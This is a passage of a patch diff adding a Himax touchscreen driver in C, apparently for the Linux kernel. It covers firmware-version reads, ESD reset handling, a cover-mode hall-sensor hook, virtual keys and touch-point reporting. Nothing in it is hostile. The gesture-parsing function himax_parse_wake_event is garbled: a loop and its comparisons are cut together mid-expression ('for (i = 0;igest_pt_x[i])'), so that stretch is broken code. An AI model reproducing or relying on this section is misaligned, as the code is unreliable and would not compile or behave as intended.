incorrect!!PKG[0]=%x,PKG[1]=%x,PKG[2]=%x\n",cmd[0],cmd[1],cmd[2]); + return false ; + } + return true; +} + +static void himax_read_TP_info(struct i2c_client *client) +{ + char data[12] = {0}; + + //read fw version + if (i2c_himax_read(client, HX_VER_FW_MAJ, data, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return; + } + private_ts->vendor_fw_ver_H = data[0]; + + if (i2c_himax_read(client, HX_VER_FW_MIN, data, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return; + } + private_ts->vendor_fw_ver_L = data[0]; + //read config version + if (i2c_himax_read(client, HX_VER_FW_CFG, data, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return; + } + private_ts->vendor_config_ver = data[0]; + //read sensor ID + private_ts->vendor_sensor_id = himax_read_Sensor_ID(client); + + I("sensor_id=%x.\n",private_ts->vendor_sensor_id); + I("fw_ver=%x,%x.\n",private_ts->vendor_fw_ver_H,private_ts->vendor_fw_ver_L); + I("config_ver=%x.\n",private_ts->vendor_config_ver); +} + +#ifdef HX_ESD_WORKAROUND + void ESD_HW_REST(void) + { + ESD_RESET_ACTIVATE = 1; + ESD_COUNTER = 0; + ESD_R36_FAIL = 0; +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT=0; +#endif + I("START_Himax TP: ESD - Reset\n"); + + while(ESD_R36_FAIL <=3 ) + { + + himax_rst_gpio_set(private_ts->rst_gpio, 0); + msleep(20); + himax_rst_gpio_set(private_ts->rst_gpio, 1); + msleep(20); + + if (himax_loadSensorConfig(private_ts->client, private_ts->pdata)<0) + ESD_R36_FAIL++; + else + break; + } + I("END_Himax TP: ESD - Reset\n"); + } +#endif + +#ifdef HX_CHIP_STATUS_MONITOR +static void himax_chip_monitor_function(struct work_struct *work) //for ESD solution +{ + int ret=0; + + I(" %s: POLLING_COUNT=%x, STATUS=%x \n", __func__,HX_CHIP_POLLING_COUNT,ret); + if (HX_CHIP_POLLING_COUNT >= (HX_POLLING_TIMES-1))//POLLING TIME + { + HX_ON_HAND_SHAKING=1; + ret = himax_hand_shaking(); //0:Running, 1:Stop, 2:I2C Fail + HX_ON_HAND_SHAKING=0; + if (ret == 2) + { + I(" %s: I2C Fail \n", __func__); + ESD_HW_REST(); + } + else if (ret == 1) + { + I(" %s: MCU Stop \n", __func__); + ESD_HW_REST(); + } + HX_CHIP_POLLING_COUNT=0;//clear polling counter + } + else + HX_CHIP_POLLING_COUNT++; + + queue_delayed_work(private_ts->himax_chip_monitor_wq, &private_ts->himax_chip_monitor, HX_POLLING_TIMER*HZ); + + return; +} +#endif + +#ifdef HX_DOT_VIEW +static void himax_set_cover_func(unsigned int enable) +{ + uint8_t cmd[4]; + + if (enable) + cmd[0] = 0x40; + else + cmd[0] = 0x00; + if (i2c_himax_write(private_ts->client, 0x8F , &cmd[0], 1, DEFAULT_RETRY_CNT) < 0) + E("%s i2c write fail.\n", __func__); + + return; +} + +static int hallsensor_hover_status_handler_func(struct notifier_block *this, + unsigned long status, void *unused) +{ + int pole = 0, pole_value = 0; + struct himax_ts_data *ts = private_ts; + + pole_value = 0x1 & status; + pole = (0x2 & status) >> 1; + I("[HL] %s[%s]\n", pole? "att_s" : "att_n", pole_value ? "Near" : "Far"); + + if (pole == 1) { + if (pole_value == 0) + ts->cover_enable = 0; + else{ + ts->cover_enable = 1; + } + + himax_set_cover_func(ts->cover_enable); + I("[HL] %s: cover_enable = %d.\n", __func__, ts->cover_enable); + } + + return NOTIFY_OK; +} + +static struct notifier_block hallsensor_status_handler = { + .notifier_call = hallsensor_hover_status_handler_func, +}; +#endif + +#ifdef HX_SMART_WAKEUP +/* +static void gest_pt_log_coordinate(int rx, int tx) +{ + //driver report x y with range 0 - 255 , we scale it up to x/y pixel + gest_pt_x[gest_pt_cnt] = rx*HX_X_RES/255; + gest_pt_y[gest_pt_cnt] = tx*HX_Y_RES/255; +} +*/ +static int himax_parse_wake_event(struct himax_ts_data *ts) +{ + uint8_t buf[128]; + unsigned char check_sum_cal = 0; + //int tmp_max_x=0x00,tmp_min_x=0xFFFF,tmp_max_y=0x00,tmp_min_y=0xFFFF; + //int gest_len, gest_point; + int i = 0, check_FC = 0, gesture_flag = 0; + + if (i2c_himax_read(ts->client, 0x86, buf, 128,DEFAULT_RETRY_CNT)) + E("%s: can't read data from chip!\n", __func__); + + for (i = 0;igest_pt_x[i]) + tmp_min_x=gest_pt_x[i]; + if (tmp_max_ygest_pt_y[i]) + tmp_min_y=gest_pt_y[i]; + } + I("gest_point x_min= %d, x_max= %d, y_min= %d, y_max= %d\n",tmp_min_x,tmp_max_x,tmp_min_y,tmp_max_y); + gest_start_x=gest_pt_x[0]; + gest_start_y=gest_pt_y[0]; + gest_end_x=gest_pt_x[gest_pt_cnt-1]; + gest_end_y=gest_pt_y[gest_pt_cnt-1]; + gest_width = tmp_max_x - tmp_min_x; + gest_height = tmp_max_y - tmp_min_y; + gest_mid_x = (tmp_max_x + tmp_min_x)/2; + gest_mid_y = (tmp_max_y + tmp_min_y)/2; + + } + + } +#endif + if (gesture_flag != 0x80) + { + if (!ts->gesture_cust_en[gesture_flag]) + { + I("%s NOT report customer key \n ", __func__); + return 0;//NOT report customer key + } + } + else + { + if (!ts->gesture_cust_en[0]) + { + I("%s NOT report report double click \n", __func__); + return 0;//NOT report power key + } + } + + if (gesture_flag == 0x80) + return EV_GESTURE_PWR; + else + return gesture_flag; +} + +#endif + +static void himax_ts_button_func(int tp_key_index,struct himax_ts_data *ts) +{ + uint16_t x_position = 0, y_position = 0; +if (tp_key_index != 0x00) + { + I("virtual key index =%x\n",tp_key_index); + if (tp_key_index == 0x01) { + vk_press = 1; + I("back key pressed\n"); + if (ts->pdata->virtual_key) + { + if (ts->button[0].index) { + x_position = (ts->button[0].x_range_min + ts->button[0].x_range_max) / 2; + y_position = (ts->button[0].y_range_min + ts->button[0].y_range_max) / 2; + } + if (ts->protocol_type == PROTOCOL_TYPE_A) { + input_report_abs(ts->input_dev, ABS_MT_TRACKING_ID, 0); + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, + 100); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, + x_position); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, + y_position); + input_mt_sync(ts->input_dev); + } else if (ts->protocol_type == PROTOCOL_TYPE_B) { + input_mt_slot(ts->input_dev, 0); + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, + 1); + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, + 100); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, + x_position); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, + y_position); + } + } + else + input_report_key(ts->input_dev, KEY_BACK, 1); + } + else if (tp_key_index == 0x02) { + vk_press = 1; + I("home key pressed\n"); + if (ts->pdata->virtual_key) + { + if (ts->button[1].index) { + x_position = (ts->button[1].x_range_min + ts->button[1].x_range_max) / 2; + y_position = (ts->button[1].y_range_min + ts->button[1].y_range_max) / 2; + } + if (ts->protocol_type == PROTOCOL_TYPE_A) { + input_report_abs(ts->input_dev, ABS_MT_TRACKING_ID, 0); + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, + 100); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, + x_position); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, + y_position); + input_mt_sync(ts->input_dev); + } else if (ts->protocol_type == PROTOCOL_TYPE_B) { + input_mt_slot(ts->input_dev, 0); + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, + 1); + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, + 100); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, + x_position); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, + y_position); + } + } + else + input_report_key(ts->input_dev, KEY_HOME, 1); + } + else if (tp_key_index == 0x04) { + vk_press = 1; + I("APP_switch key pressed\n"); + if (ts->pdata->virtual_key) + { + if (ts->button[2].index) { + x_position = (ts->button[2].x_range_min + ts->button[2].x_range_max) / 2; + y_position = (ts->button[2].y_range_min + ts->button[2].y_range_max) / 2; + } + if (ts->protocol_type == PROTOCOL_TYPE_A) { + input_report_abs(ts->input_dev, ABS_MT_TRACKING_ID, 0); + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, + 100); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, + x_position); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, + y_position); + input_mt_sync(ts->input_dev); + } else if (ts->protocol_type == PROTOCOL_TYPE_B) { + input_mt_slot(ts->input_dev, 0); + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, + 1); + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, + 100); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, + 100); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, + x_position); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, + y_position); + } + } + else + input_report_key(ts->input_dev, KEY_APP_SWITCH, 1); + } + input_sync(ts->input_dev); + } +else/*tp_key_index =0x00*/ + { + I("virtual key released\n"); + vk_press = 0; + if (ts->protocol_type == PROTOCOL_TYPE_A) { + input_mt_sync(ts->input_dev); + } + else if (ts->protocol_type == PROTOCOL_TYPE_B) { + input_mt_slot(ts->input_dev, 0); + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, 0); + } + input_report_key(ts->input_dev, KEY_BACK, 0); + input_report_key(ts->input_dev, KEY_HOME, 0); + input_report_key(ts->input_dev, KEY_APP_SWITCH, 0); + input_sync(ts->input_dev); + } +} +#ifdef QCT +inline void himax_ts_work(struct himax_ts_data *ts) +#endif +{ + int ret = 0; + uint8_t buf[128], finger_num, hw_reset_check[2]; + uint16_t finger_pressed; + uint8_t finger_on = 0; + int32_t loop_i; + unsigned char check_sum_cal = 0; + int RawDataLen = 0; + int raw_cnt_max ; + int raw_cnt_rmd ; + int hx_touch_info_size; + int base,x,y,w; +#ifdef QCT + uint8_t coordInfoSize = ts->coord_data_size + ts->area_data_size + 4; +#else + struct himax_ts_data *ts = private_ts; + uint8_t coordInfoSize; +#endif + +#ifdef HX_TP_PROC_DIAG + uint8_t *mutual_data; + uint8_t *self_data; + uint8_t diag_cmd; + int i; + int mul_num; + int self_num; + int index = 0; + int temp1, temp2; + //coordinate dump start + char coordinate_char[15+(HX_MAX_PT+5)*2*5+2]; + struct timeval t; + struct tm broken; + //coordinate dump end +#endif +#ifdef HX_CHIP_STATUS_MONITOR + int j=0; +#endif + + memset(buf, 0x00, sizeof(buf)); + memset(hw_reset_check, 0x00, sizeof(hw_reset_check)); +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT=0; + if (HX_ON_HAND_SHAKING)//chip on hand shaking,wait hand shaking + { + for (j=0; j<100; j++) + { + if (HX_ON_HAND_SHAKING== 0)//chip on hand shaking end + { + I("%s:HX_ON_HAND_SHAKING OK check %d times\n", __func__,j); + break; + } + else + msleep(20); + } + if (j==100) + { + E("%s:HX_ON_HAND_SHAKING timeout reject interrupt\n", __func__); + return; + } + } +#endif + //check touch panel should be recover or not +#ifdef HX_TOUCH_REC + checktouch=3; + if (check_touchData() == 1) //check data which is like MXPT,RX NUM,TX NUM and so on...if it's need torecover + { + goto err_need2recover; + } +#endif + + raw_cnt_max = HX_MAX_PT/4; + raw_cnt_rmd = HX_MAX_PT%4; + + if (raw_cnt_rmd != 0x00) //more than 4 fingers + { + RawDataLen = 128 - ((HX_MAX_PT+raw_cnt_max+3)*4) - 1; + hx_touch_info_size = (HX_MAX_PT+raw_cnt_max+2)*4; + } + else //less than 4 fingers + { + RawDataLen = 128 - ((HX_MAX_PT+raw_cnt_max+2)*4) - 1; + hx_touch_info_size = (HX_MAX_PT+raw_cnt_max+1)*4; + } + +#ifdef HX_TP_PROC_DIAG + diag_cmd = getDiagCommand(); +#ifdef HX_ESD_WORKAROUND +if ((diag_cmd) || (ESD_RESET_ACTIVATE) || (HW_RESET_ACTIVATE)) +#else +if ((diag_cmd) || (HW_RESET_ACTIVATE)) +#endif + { + ret = i2c_himax_read(ts->client, 0x86, buf, 128,DEFAULT_RETRY_CNT); + } + else{ + if (touch_monitor_stop_flag != 0) { + ret = i2c_himax_read(ts->client, 0x86, buf, 128,DEFAULT_RETRY_CNT); + touch_monitor_stop_flag-- ; + } + else{ + ret = i2c_himax_read(ts->client, 0x86, buf, hx_touch_info_size,DEFAULT_RETRY_CNT); + } + } + if (ret < 0) +#else + if (i2c_himax_read(ts->client, 0x86, buf, hx_touch_info_size,DEFAULT_RETRY_CNT)) +#endif + { + E("%s: can't read data from chip!\n", __func__); + goto err_workqueue_out; + } + else + { +#ifdef HX_ESD_WORKAROUND + for (i = 0; i < hx_touch_info_size; i++) + { + if (buf[i] == 0x00) //case 2 ESD recovery flow-Disable + { + check_sum_cal = 1; + } + else if (buf[i] == 0xED)/*case 1 ESD recovery flow*/ + { + check_sum_cal = 2; + } + else + { + check_sum_cal = 0; + i = hx_touch_info_size; + break; + } + } + + //IC status is abnormal ,do hand shaking +#ifdef HX_TP_PROC_DIAG + diag_cmd = getDiagCommand(); +#ifdef HX_ESD_WORKAROUND + if (check_sum_cal != 0 && ESD_RESET_ACTIVATE == 0 && HW_RESET_ACTIVATE == 0 && diag_cmd == 0) //ESD Check +#else + if (check_sum_cal != 0 && diag_cmd == 0) +#endif +#else +#ifdef HX_ESD_WORKAROUND + if (check_sum_cal != 0 && ESD_RESET_ACTIVATE == 0 && HW_RESET_ACTIVATE == 0 ) //ESD Check +#else + if (check_sum_cal !=0) +#endif +#endif + { + ret = himax_hand_shaking(); //0:Running, 1:Stop, 2:I2C Fail + if (ret == 2) + { + goto err_workqueue_out; + } + + if ((ret == 1) && (check_sum_cal == 1)) + { + I("[HIMAX TP MSG]: ESD event checked - ALL Zero.\n"); + ESD_HW_REST(); + } + else if (check_sum_cal == 2) + { + I("[HIMAX TP MSG]: ESD event checked - ALL 0xED.\n"); + ESD_HW_REST(); + } + + //himax_int_enable(ts->client->irq, 1, true); + return; + } + else if (ESD_RESET_ACTIVATE) + { + ESD_RESET_ACTIVATE = 0;/*drop 1st interrupts after chip reset*/ + I("[HIMAX TP MSG]:%s: Back from reset, ready to serve.\n", __func__); + return; + } + else if (HW_RESET_ACTIVATE) +#else + if (HW_RESET_ACTIVATE) +#endif + { + HW_RESET_ACTIVATE = 0;/*drop 1st interrupts after chip reset*/ + I("[HIMAX TP MSG]:%s: HW_RST Back from reset, ready to serve.\n", __func__); + return; + } + + for (loop_i = 0, check_sum_cal = 0; loop_i < hx_touch_info_size; loop_i++) + check_sum_cal += buf[loop_i]; + + if ((check_sum_cal != 0x00) ) + { + I("[HIMAX TP MSG] checksum fail : check_sum_cal: 0x%02X\n", check_sum_cal); + return; + } + } + + if (ts->debug_log_level & BIT(0)) { + I("%s: raw data:\n", __func__); + for (loop_i = 0; loop_i < hx_touch_info_size; loop_i++) { + I("0x%2.2X ", buf[loop_i]); + if (loop_i % 8 == 7) + I("\n"); + } + } + + //touch monitor raw data fetch +#ifdef HX_TP_PROC_DIAG + diag_cmd = getDiagCommand(); + if (diag_cmd >= 1 && diag_cmd <= 6) + { + //Check 128th byte CRC + for (i = hx_touch_info_size, check_sum_cal = 0; i < 128; i++) + { + check_sum_cal += buf[i]; + } + if (check_sum_cal % 0x100 != 0) + { + goto bypass_checksum_failed_packet; + } +#ifdef HX_TP_PROC_2T2R + if (Is_2T2R && diag_cmd == 4) + { + mutual_data = getMutualBuffer_2(); + self_data = getSelfBuffer(); + + // initiallize the block number of mutual and self + mul_num = getXChannel_2() * getYChannel_2(); + +#ifdef HX_EN_SEL_BUTTON + self_num = getXChannel_2() + getYChannel_2() + HX_BT_NUM; +#else + self_num = getXChannel_2() + getYChannel_2(); +#endif + } + else +#endif + { + mutual_data = getMutualBuffer(); + self_data = getSelfBuffer(); + + // initiallize the block number of mutual and self + mul_num = getXChannel() * getYChannel(); + +#ifdef HX_EN_SEL_BUTTON + self_num = getXChannel() + getYChannel() + HX_BT_NUM; +#else + self_num = getXChannel() + getYChannel(); +#endif + } + + //Himax: Check Raw-Data Header + if (buf[hx_touch_info_size] == buf[hx_touch_info_size+1] && buf[hx_touch_info_size+1] == buf[hx_touch_info_size+2] + && buf[hx_touch_info_size+2] == buf[hx_touch_info_size+3] && buf[hx_touch_info_size] > 0) + { + index = (buf[hx_touch_info_size] - 1) * RawDataLen; + //I("Header[%d]: %x, %x, %x, %x, mutual: %d, self: %d\n", index, buf[56], buf[57], buf[58], buf[59], mul_num, self_num); + for (i = 0; i < RawDataLen; i++) + { + temp1 = index + i; + + if (temp1 < mul_num) + { //mutual + mutual_data[index + i] = buf[i + hx_touch_info_size+4]; //4: RawData Header +#ifdef HX_TP_SELF_TEST_DRIVER + if (Selftest_flag == 1) + mutual_bank[index + i] = buf[i + hx_touch_info_size+4]; +#endif + } + else + {//self + temp1 = i + index; + temp2 = self_num + mul_num; + + if (temp1 >= temp2) + { + break; + } + + self_data[i+index-mul_num] = buf[i + hx_touch_info_size+4]; //4: RawData Header +#ifdef HX_TP_SELF_TEST_DRIVER + if (Selftest_flag == 1) + self_bank[i+index-mul_num] = buf[i + hx_touch_info_size+4]; +#endif + } + } + } + else + { + I("[HIMAX TP MSG]%s: header format is wrong!\n", __func__); + } + } + else if (diag_cmd == 7) + { + memcpy(&(diag_coor[0]), &buf[0], 128); + } + //coordinate dump start + if (coordinate_dump_enable == 1) + { + for (i = 0; i<(15 + (HX_MAX_PT+5)*2*5); i++) + { + coordinate_char[i] = 0x20; + } + coordinate_char[15 + (HX_MAX_PT+5)*2*5] = 0xD; + coordinate_char[15 + (HX_MAX_PT+5)*2*5 + 1] = 0xA; + } + //coordinate dump end +bypass_checksum_failed_packet: +#endif + EN_NoiseFilter = (buf[HX_TOUCH_INFO_POINT_CNT+2]>>3); + //I("EN_NoiseFilter=%d\n",EN_NoiseFilter); + EN_NoiseFilter = EN_NoiseFilter & 0x01; + //I("EN_NoiseFilter2=%d\n",EN_NoiseFilter); +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if (ts->pdata->proximity_bytp_enable) { + if ((buf[HX_TOUCH_INFO_POINT_CNT] & 0x0F) == 0x00 && (buf[HX_TOUCH_INFO_POINT_CNT+2]>>2 & 0x01) ) + { + if (proximity_flag== 0) + { + I(" %s near event trigger\n", __func__); + touch_report_psensor_input_event(0); + proximity_flag = 1; + } + wake_lock_timeout(&ts->ts_wake_lock, TS_WAKE_LOCK_TIMEOUT); + return; + } + } +#endif +#if defined(HX_EN_SEL_BUTTON) || defined(HX_EN_MUT_BUTTON) + tpd_key = (buf[HX_TOUCH_INFO_POINT_CNT+2]>>4); + if (tpd_key == 0x0F)/*All (VK+AA)leave*/ + { + tpd_key = 0x00; + } + //I("[DEBUG] tpd_key: %x\r\n", tpd_key); +#else + tpd_key = 0x00; +#endif + + p_point_num = hx_point_num; + + if (buf[HX_TOUCH_INFO_POINT_CNT] == 0xff) + hx_point_num = 0; + else + hx_point_num= buf[HX_TOUCH_INFO_POINT_CNT] & 0x0f; + + // Touch Point information + if (hx_point_num != 0 ) { + if (vk_press == 0x00) + { + uint16_t old_finger = ts->pre_finger_mask; + finger_num = buf[coordInfoSize - 4] & 0x0F; + finger_pressed = buf[coordInfoSize - 2] << 8 | buf[coordInfoSize - 3]; + finger_on = 1; + AA_press = 1; + for (loop_i = 0; loop_i < ts->nFinger_support; loop_i++) { + if (((finger_pressed >> loop_i) & 1) == 1) { + base = loop_i * 4; + x = buf[base] << 8 | buf[base + 1]; + y = (buf[base + 2] << 8 | buf[base + 3]); + w = buf[(ts->nFinger_support * 4) + loop_i]; + finger_num--; + + if ((ts->debug_log_level & BIT(3)) > 0) + { + if ((((old_finger >> loop_i) ^ (finger_pressed >> loop_i)) & 1) == 1) + { + if (ts->useScreenRes) + { + I("status:%X, Screen:F:%02d Down, X:%d, Y:%d, W:%d, N:%d\n", + finger_pressed, loop_i+1, x * ts->widthFactor >> SHIFTBITS, + y * ts->heightFactor >> SHIFTBITS, w, EN_NoiseFilter); + } + else + { + I("status:%X, Raw:F:%02d Down, X:%d, Y:%d, W:%d, N:%d\n", + finger_pressed, loop_i+1, x, y, w, EN_NoiseFilter); + } + } + } + + if (ts->protocol_type == PROTOCOL_TYPE_B) + { + input_mt_slot(ts->input_dev, loop_i); + } + + input_report_abs(ts->input_dev, ABS_MT_TOUCH_MAJOR, w); + input_report_abs(ts->input_dev, ABS_MT_WIDTH_MAJOR, w); + input_report_abs(ts->input_dev, ABS_MT_PRESSURE, w); + input_report_abs(ts->input_dev, ABS_MT_POSITION_X, x); + input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, y); + + if (ts->protocol_type == PROTOCOL_TYPE_A) + { + input_report_abs(ts->input_dev, ABS_MT_TRACKING_ID, loop_i); + input_mt_sync(ts->input_dev); + } + else + { + ts->last_slot = loop_i; + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, 1); + } + + if (!ts->first_pressed) + { + ts->first_pressed = 1; + I("S1@%d, %d\n", x, y); + } + + ts->pre_finger_data[loop_i][0] = x; + ts->pre_finger_data[loop_i][1] = y; + + + if (ts->debug_log_level & BIT(1)) + I("Finger %d=> X:%d, Y:%d W:%d, Z:%d, F:%d, N:%d\n", + loop_i + 1, x, y, w, w, loop_i + 1, EN_NoiseFilter); + } else { + if (ts->protocol_type == PROTOCOL_TYPE_B) + { + input_mt_slot(ts->input_dev, loop_i); + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, 0); + if (ts->debug_log_level & BIT(1)) + I("All Finger leave_Clear_last_event\n"); + } + + if (loop_i == 0 && ts->first_pressed == 1) + { + ts->first_pressed = 2; + I("E1@%d, %d\n", + ts->pre_finger_data[0][0] , ts->pre_finger_data[0][1]); + } + if ((ts->debug_log_level & BIT(3)) > 0) + { + if ((((old_finger >> loop_i) ^ (finger_pressed >> loop_i)) & 1) == 1) + { + if (ts->useScreenRes) + { + I("status:%X, Screen:F:%02d Up, X:%d, Y:%d, N:%d\n", + finger_pressed, loop_i+1, ts->pre_finger_data[loop_i][0] * ts->widthFactor >> SHIFTBITS, + ts->pre_finger_data[loop_i][1] * ts->heightFactor >> SHIFTBITS, Last_EN_NoiseFilter); + } + else + { + I("status:%X, Raw:F:%02d Up, X:%d, Y:%d, N:%d\n", + finger_pressed, loop_i+1, ts->pre_finger_data[loop_i][0], + ts->pre_finger_data[loop_i][1], Last_EN_NoiseFilter); + } + } + } + } + } + ts->pre_finger_mask = finger_pressed; + }else if ((tpd_key_old != 0x00) && (tpd_key == 0x00)) { + //temp_x[0] = 0xFFFF; + //temp_y[0] = 0xFFFF; + //temp_x[1] = 0xFFFF; + //temp_y[1] = 0xFFFF; + himax_ts_button_func(tpd_key,ts); + finger_on = 0; + } +#ifdef HX_ESD_WORKAROUND + ESD_COUNTER = 0; +#endif + input_report_key(ts->input_dev, BTN_TOUCH, finger_on); + input_sync(ts->input_dev); + } else if (hx_point_num == 0) { +#if defined(HX_PALM_REPORT) + loop_i = 0; + base = loop_i * 4; + x = buf[base] << 8 | buf[base + 1]; + y = (buf[base + 2] << 8 | buf[base + 3]); + w = buf[(ts->nFinger_support * 4) + loop_i]; + I(" %s HX_PALM_REPORT_loopi=%d,base=%x,X=%x,Y=%x,W=%x \n", __func__,loop_i,base,x,y,w); + + if ((!atomic_read(&ts->suspend_mode)) && (x== 0xFA5A) && (y== 0xFA5A) && (w== 0x00)) + { + I(" %s HX_PALM_REPORT KEY power event press\n", __func__); + input_report_key(ts->input_dev, KEY_POWER, 1); + input_sync(ts->input_dev); + msleep(100); + I(" %s HX_PALM_REPORT KEY power event release\n", __func__); + input_report_key(ts->input_dev, KEY_POWER, 0); + input_sync(ts->input_dev); + return; + } +#endif +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if ((ts->pdata->proximity_bytp_enable) && (proximity_flag))//Proximity Far event + { + I(" %s far event trigger\n", __func__); + touch_report_psensor_input_event(1); + proximity_flag = 0; //clear flag , avoid touch point cant leave. + wake_lock_timeout(&ts->ts_wake_lock, TS_WAKE_LOCK_TIMEOUT); + } + else if (AA_press) +#else + if (AA_press) +#endif + { + // leave event + finger_on = 0; + AA_press = 0; + if (ts->protocol_type == PROTOCOL_TYPE_A) + input_mt_sync(ts->input_dev); + + for (loop_i = 0; loop_i < ts->nFinger_support; loop_i++) { + if (((ts->pre_finger_mask >> loop_i) & 1) == 1) { + if (ts->protocol_type == PROTOCOL_TYPE_B) { + input_mt_slot(ts->input_dev, loop_i); + input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, 0); + } + } + } + if (ts->pre_finger_mask > 0) { + for (loop_i = 0; loop_i < ts->nFinger_support && (ts->debug_log_level & BIT(3)) > 0; loop_i++) { + if (((ts->pre_finger_mask >> loop_i) & 1) == 1) { + if (ts->useScreenRes) { + I("status:%X, Screen:F:%02d Up, X:%d, Y:%d, N:%d\n", 0, loop_i+1, ts->pre_finger_data[loop_i][0] * ts->widthFactor >> SHIFTBITS, + ts->pre_finger_data[loop_i][1] * ts->heightFactor >> SHIFTBITS, Last_EN_NoiseFilter); + } else { + I("status:%X, Raw:F:%02d Up, X:%d, Y:%d, N:%d\n", 0, loop_i+1, ts->pre_finger_data[loop_i][0],ts->pre_finger_data[loop_i][1], Last_EN_NoiseFilter); + } + } + } + ts->pre_finger_mask = 0; + } + + if (ts->first_pressed == 1) { + ts->first_pressed = 2; + I("E1@%d, %d\n",ts->pre_finger_data[0][0] , ts->pre_finger_data[0][1]); + } + + if (ts->debug_log_level & BIT(1)) + I("All Finger leave\n"); + +#ifdef HX_TP_PROC_DIAG + //coordinate dump start + if (coordinate_dump_enable == 1) + { + do_gettimeofday(&t); + time_to_tm(t.tv_sec, 0, &broken); + + sprintf(&coordinate_char[0], "%2d:%2d:%2d:%lu,", broken.tm_hour, broken.tm_min, broken.tm_sec, t.tv_usec/1000); + sprintf(&coordinate_char[15], "Touch up!"); + coordinate_fn->f_op->write(coordinate_fn, &coordinate_char[0], 15 + (HX_MAX_PT+5)*2*sizeof(char)*5 + 2, &coordinate_fn->f_pos); + } + //coordinate dump end +#endif + } + else if (tpd_key != 0x00) { + //report key + //temp_x[0] = 0xFFFF; + //temp_y[0] = 0xFFFF; + //temp_x[1] = 0xFFFF; + //temp_y[1] = 0xFFFF; + himax_ts_button_func(tpd_key,ts); + finger_on = 1; + } + else if ((tpd_key_old != 0x00) && (tpd_key == 0x00)) { + //temp_x[0] = 0xFFFF; + //temp_y[0] = 0xFFFF; + //temp_x[1] = 0xFFFF; + //temp_y[1] = 0xFFFF; + himax_ts_button_func(tpd_key,ts); + finger_on = 0; + } +#ifdef HX_ESD_WORKAROUND + ESD_COUNTER = 0; +#endif + input_report_key(ts->input_dev, BTN_TOUCH, finger_on); + input_sync(ts->input_dev); + } + tpd_key_old = tpd_key; + Last_EN_NoiseFilter = EN_NoiseFilter; + +workqueue_out: + return; + +err_workqueue_out: + I("%s: Now reset the Touch chip.\n", __func__); + +#ifdef HX_RST_PIN_FUNC + himax_HW_reset(true,false); +#endif + + goto workqueue_out; + +#ifdef HX_TOUCH_REC + err_need2recover: + + while(checktouch>0) + { + if (check_touchData() == 1) //check data which is like MXPT,RX NUM,TX NUM and so on... if it's need torecover + { + TP_REC(); + checktouch--; + } + else{ + I("Recover Success!!!"); + break; + } + } + I("%s: Recover FAIL!!!", __func__); + goto workqueue_out; +#endif + +} + +static enum hrtimer_restart himax_ts_timer_func(struct hrtimer *timer) +{ + struct himax_ts_data *ts; + + ts = container_of(timer, struct himax_ts_data, timer); + queue_work(ts->himax_wq, &ts->work); + hrtimer_start(&ts->timer, ktime_set(0, 12500000), HRTIMER_MODE_REL); + return HRTIMER_NORESTART; +} + +#ifdef QCT +static irqreturn_t himax_ts_thread(int irq, void *ptr) +{ + struct himax_ts_data *ts = ptr; + struct timespec timeStart, timeEnd, timeDelta; +#ifdef HX_SMART_WAKEUP + int ret_event = 0, KEY_EVENT = 0; +#endif + + if (ts->debug_log_level & BIT(2)) { + getnstimeofday(&timeStart); + /*I(" Irq start time = %ld.%06ld s\n", + timeStart.tv_sec, timeStart.tv_nsec/1000);*/ + } +#ifdef HX_SMART_WAKEUP + if (atomic_read(&ts->suspend_mode) && (!FAKE_POWER_KEY_SEND) && (ts->SMWP_enable)) { + I("Start to parse wake event\n"); + wake_lock_timeout(&ts->ts_SMWP_wake_lock, TS_WAKE_LOCK_TIMEOUT); + msleep(200); + ret_event = himax_parse_wake_event((struct himax_ts_data *)ptr); + switch (ret_event) { + case EV_GESTURE_PWR: + KEY_EVENT = KEY_POWER; + break; + case EV_GESTURE_01: + KEY_EVENT = KEY_CUST_01; + break; + case EV_GESTURE_02: + KEY_EVENT = 